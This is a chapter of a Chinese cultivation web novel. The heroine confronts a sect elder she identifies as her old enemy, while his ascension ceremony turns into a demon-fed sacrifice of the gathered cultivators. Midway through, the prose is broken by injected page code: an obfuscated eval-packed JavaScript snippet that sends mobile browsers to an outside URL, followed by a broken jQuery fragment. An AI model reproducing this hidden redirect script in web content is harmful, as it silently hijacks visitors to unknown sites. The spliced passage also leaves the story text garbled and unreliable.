210. 建设二百一十天
作品:《修什么仙,建灵网去》 仙人乘风来,衣带当风举。
如果世上真的存在仙人,那大抵便是重远尊者的模样。
仙姿道骨,出尘绝世。
所有修士在见到这位尊者时,皆由衷发出一声惊叹,不免生出跪拜臣服之感。
而当禾溪在看到重远尊者的面貌时,只剩下冷漠。
尽管重远尊者与齐鸣锋的相貌截然不同,她也能够确定,这个人就是齐鸣锋。
禾溪笃定道:“错不了,这人绝对就是齐鸣锋。”
众人看向她。
禾溪有理有据分析:“他们两个身上那种平等看不起所有人的气质简直一模一样,没有修炼个百八十年把脑子炼坏了的人,绝对不可能有这种气质。”
外表能变,但心不会。
就算齐鸣锋再换十张百张皮她也能认出来。
更别提,禾溪对齐鸣锋有龙傲天综合征,一见他就宛如利剑穿心,心脏发凉。
而这种神奇的痛感在她看见重远尊者时同样存在。
众人听着禾溪一顿分析,陷入沉默。
说实话,他们虽然同样感觉这两人气质相似,但完全没办法像禾溪那样笃定。
这可能就是宿敌之间的感应吧。
禾溪仔细盯着重远尊者,在确认这人是齐鸣锋的同时,还觉得这人的面目身形有种熟悉又陌生的感觉。
……似乎,像是曾经在哪里见过。
因为这种难以言喻的神奇感觉,禾溪看了重远尊者许久,想着她究竟是在哪里见到过。
裴谕见她目光一直落在重远尊者身上,幽幽问:“阿禾,他好看吗?”
排除立场,平心而论,重远尊者的这副皮囊比齐鸣锋要好看一点,属于清尘绝俗的那种高岭之花类型。
禾溪还挺少见到这款的。
出于颜狗的直觉,她下意识想要点头。
然后她反应过来,这话是谁问的。
禾溪:“……”
她感觉自己像是成了被老婆抓到偷看美女的渣男,装作一本正经地收回视线,摇头:“不好看。”
裴谕:“是吗?”
禾溪忙不迭点头。
裴谕笑了笑,倒是没再追究下去,只是在心里有了决断。
裴谕:很好,目标明确了。
等下他就找机会去把这人砍了。
重远尊者现身时,所有修士皆安静了下来,当他落在登仙台的中心时,所有人更是目不转睛地盯着他。
太虚仙宗的十二名长老从虚空中现身,他们朝着重远尊者拱手行礼,随后分立在十二块镇石边,静默着等待指示。
天地寂静无声,众人的视线皆落在登仙台中那唯一的白衣身影上。
重远尊者面上一派淡漠,视线不经意瞥过禾溪等人。
没有寒暄,没有致辞,白衣人淡声开口。
“结阵。”
十二名长老们闻声而动,每个人抬手掐诀,动作整齐划一,仿佛已经演练了千百遍。
耀眼的灵光凝聚在他们手中,再汇入镇石,点亮地面上绘制的阵法纹路。
轰隆一声,澄净无垠的天空中有劫云聚集。
厚重的劫云几乎将整个天空渲染成了纯然的墨色,只是随意一瞥,都能感受到一种难以言明的压迫感。
如同渺小的蚍蜉面对参天大树,天堑般的差距横亘在面前,让人连反抗之心都难以升起,唯余战栗。
修士们看向天空,震惊不已。
“这,这难道就是飞升雷劫吗?”
“太可怕了,难怪过了这么久都没人能成功飞升。”
这劫云已经铺满了一界,劫雷未落,他们已经能感受到其中汹涌的天地浩然之威。
众人议论纷然,裴谕向来散漫的脸色在看见天空劫云时忽地散去,转为凝重:“那是神罚劫雷。”
百阑宗众人没听说过神罚劫雷,禾溪问:“神罚是什么?”
“世间万物皆有秩序,若有人做出颠覆万界、有违天和之事,便会遭受大道神罚。”
裴谕语速极快:“神罚一出,必须要诛灭受罚之人神魂才会消散。”
“受罚者的神魂被神罚杀死之后,永生永世不能入轮回。”
听他如此详细的描述,禾溪不由问:“你怎么知道?”
裴谕:“因为我前世最后灭世的时候触发过。”
百阑宗:“……”不愧是你。
禾溪神奇地看着裴谕:“那你怎么活到现在的?”
裴谕顿了顿,说道:“当时我趁着神罚还没降下,抢先一步毁去一切。”
再之后,就是天道逆转时空,让他们这些人重来一次。
裴谕:神罚始终慢我一步。
一旁,顾寒宵抬头看了眼天空的神罚劫云,问:“难道这神罚是冲着你来的?”
裴谕也有几分不确定:“应当不是。”
如果神罚锁定的人是他的话,那早在他重生之初就该出来制裁他了,何必等到现在。
那这突然出现的神罚,究竟是为了罚谁?
知道重远尊者真实身份的百阑宗众人心中都有答案。
那阵法必然不可能是简单的护法结界,绝对有问题。
然而令他们还感到奇怪的是,天上的神罚劫云已然凝聚成形,却并没有劫雷落下。
“为什么那神罚没有降下雷劫?”萧韶歌问。
曾是神罚锁定者的裴谕皱眉观察了会,说道:“它似乎没有找到目标。”
不待他们想清楚这背后的缘由,下一刻,无数沌妖从地底冒出。
张扬舞爪的黑雾从地面一跃而出,张开獠牙,顷刻间就夺走了许多完全没有防备的修士性命。
修士们的注意从天空落回地面,对沌妖的出现既是惊异又恐慌:“这,这是怎么一回事?”
“沌妖又卷土重来了!”
突然出现的沌妖打了所有人一个措手不及,慌手慌脚地拿出法器应战。
与他们慌张形成鲜明对比的,则是外围的仙宗弟子。
他们对沌妖的出现像是早有预料。
陈逍率领弟子封住了登仙台的所有出口,朝不明所以的修士们说道:“尊者离飞升只有一步之遥,而这一步之遥,还需要靠诸位道友以命相助。”
听清他话语的修士们只觉那劫雷劈在了他们头上。
好家伙,他们以为今天是来看重远尊者渡劫的,结果没想到渡劫的人成了自己。
“这是你们太虚仙宗算计好的吗!”有修士不甘呐喊,“你们怎么能做出这么卑鄙的事!”
用他们的命去铺重远尊者的通天路,其心可诛!
也有修士应付不来沌妖,对太虚仙宗仍存有期望:“你们何必对我们赶尽杀绝,沌妖出手,你们也难逃一死!”
陈逍等一众仙宗弟子不为所动,眼中流露出虔诚之色:“能为尊主飞升而牺牲,是我等的荣幸。”
修士们都炸了。
“这话是什么意思?”
另一个修士吼道:“还能是什么意思?他们疯了,连自己也要跟着献祭的意思呗!”
“还不快跑!”
在场的修士不管反没反应过来太虚仙宗想做什么,都意识到眼前的不对劲。
正要祭出法器强闯逃离时,却发现一个令他们恐惧的事实——
他们没办法感应灵气了!
修士吐纳天地灵气,将天地灵气蕴藏于灵根中,化气为形,是为灵力。
然而他们却无法感应到天地间的灵气。
也就是说,待体内灵力耗尽之后,他们无法再吸收天地灵气,从而成为用不出任何术法的废人。
于修士而言,这种情况无异于等死。
顾寒宵一边应付场上疯涌而出的沌妖,一边沉声道:“天地间的灵气被封住了。”
相无宥展开结界将附近的人护在其中,拦住一群沌妖,他不再淡定:“这下糟了。”
他们心知肚明,失去灵气的在场修士将会完全沦为沌妖的盘中餐。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604770|168471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
即便能够反抗一时,也逃不过最终被沌妖吞噬的命运。
所有人中,只有禾溪跟裴谕不受影响。
禾溪升入渡劫之境后,体内的玄天木能自生灵气。
裴谕的力量来源于魔气,有没有灵气对他来说并不重要。
这时,沉浸在推演阵法中的江炼堪堪结束,他激动地拿着稿纸说道:“我,我算出来了!”
小幻没好气道:“呆瓜,你晚了一步,那阵法已经启动了!”
江炼愣住,才发现阵法确实已经启动,顿时万分惭愧:“对,对不起,要是我再快一点就好了。”
“没事,小师弟你能解出来已经很棒了。”禾溪忙道,“你知道这阵法是什么吗,我们该如何破阵?”
江炼知道情势紧迫,加快语速:“这阵法会封住灵气,并且处于阵内的修士死亡之后还会汲取他们的气运,反哺给布阵者。”
“破阵的办法,是杀死阵眼。”
而阵眼是谁,不言而喻。
禾溪眼神变得锐利起来。
照江炼所说,她明白重远尊者的打算了。
这场飞升大典吸引了绝大多数的修士前来观礼,只要这阵法开启,重远尊者再放出沌妖对,场中失去灵力的修士就会成为他最好的祭品。
更重要的是,沌妖不止攻击修士,也无差别攻击太虚仙宗的弟子。
这些弟子全部放弃抵抗,不仅心甘情愿地被沌妖杀死,还会帮着沌妖去捕杀其余修士。
他们像是一群狂热的邪教分子,为了所谓的信仰能够抛弃一切。
“不管怎么样,我们必须先救人。”
顾寒宵注意到这不同寻常的一幕,释放金雷杀死意图靠近的沌妖,冷声道:“还要去破坏阵眼。”
不能放任沌妖吞噬修士,那样只会让重远尊者的计划得逞。
但也必须尽快解决掉他,否则沌妖一方愈发势大,修士必然落败。
相无宥思索片刻,道:“我跟裴谕去杀重远尊者,你们留在外面。”
“不,我去杀他。”
禾溪反驳了相无宥的安排:“师尊你的卦术偏向保护,你留在外面救人,我跟裴谕一起去。”
她视线移向结界中的白衣人影,杀意腾腾:“我跟他之间,注定要做个了断。”
相无宥无话可说,只能怅然地叹口气:“那好。”
决定了进入结界的人选,顾寒宵跟萧韶歌对禾溪嘱咐道:“小师妹,保重自己。”
江炼忧心地看着她。
禾溪朝他们露出一个笑容:“放心,我会成功的。”
时间紧迫,他们没有多余的时间交流,只能各自去做自己的事。
禾溪把小洒丢进灵兽袋,对裴谕道:“我们走吧。”
裴谕颔首。
两人离镇石所布的结界很近,裴谕在前方开路,想突破结界时却被阻挡在外,无法进入。
出人意料的是,轮到禾溪尝试时,看似坚不可摧的结界却接纳了她。
“阿禾!”
身后是裴谕的呼唤。
禾溪踏入结界后,感觉自己如同走入了一座为她而设的牢笼,扑面而来的窒息感将她包围。
裴谕蹙眉看着孤身一人进入结界的禾溪,黑刀在他手中聚形,正要强闯时,布阵的十二名仙宗长老齐齐将他围困。
“你不能进去,扰乱尊者的计划。”
一名长老冷冷地盯着裴谕,裴谕没有说话,直接执刀横砍。
双方登时战在一团。
仙宗长老将裴谕暂且拖住,结界之中只有禾溪与重远尊者两人存在。
意识到重远尊者是故意引自己前来,禾溪不曾慌乱。
她转过身,一错不错地直视眼前等候她的人。
“我是该叫你齐鸣锋,还是该叫你重远尊者?”
禾溪声音轻缓:“又或者,我应该称呼你一声——”
她拉长语调,一字一顿。
“无上道君。”

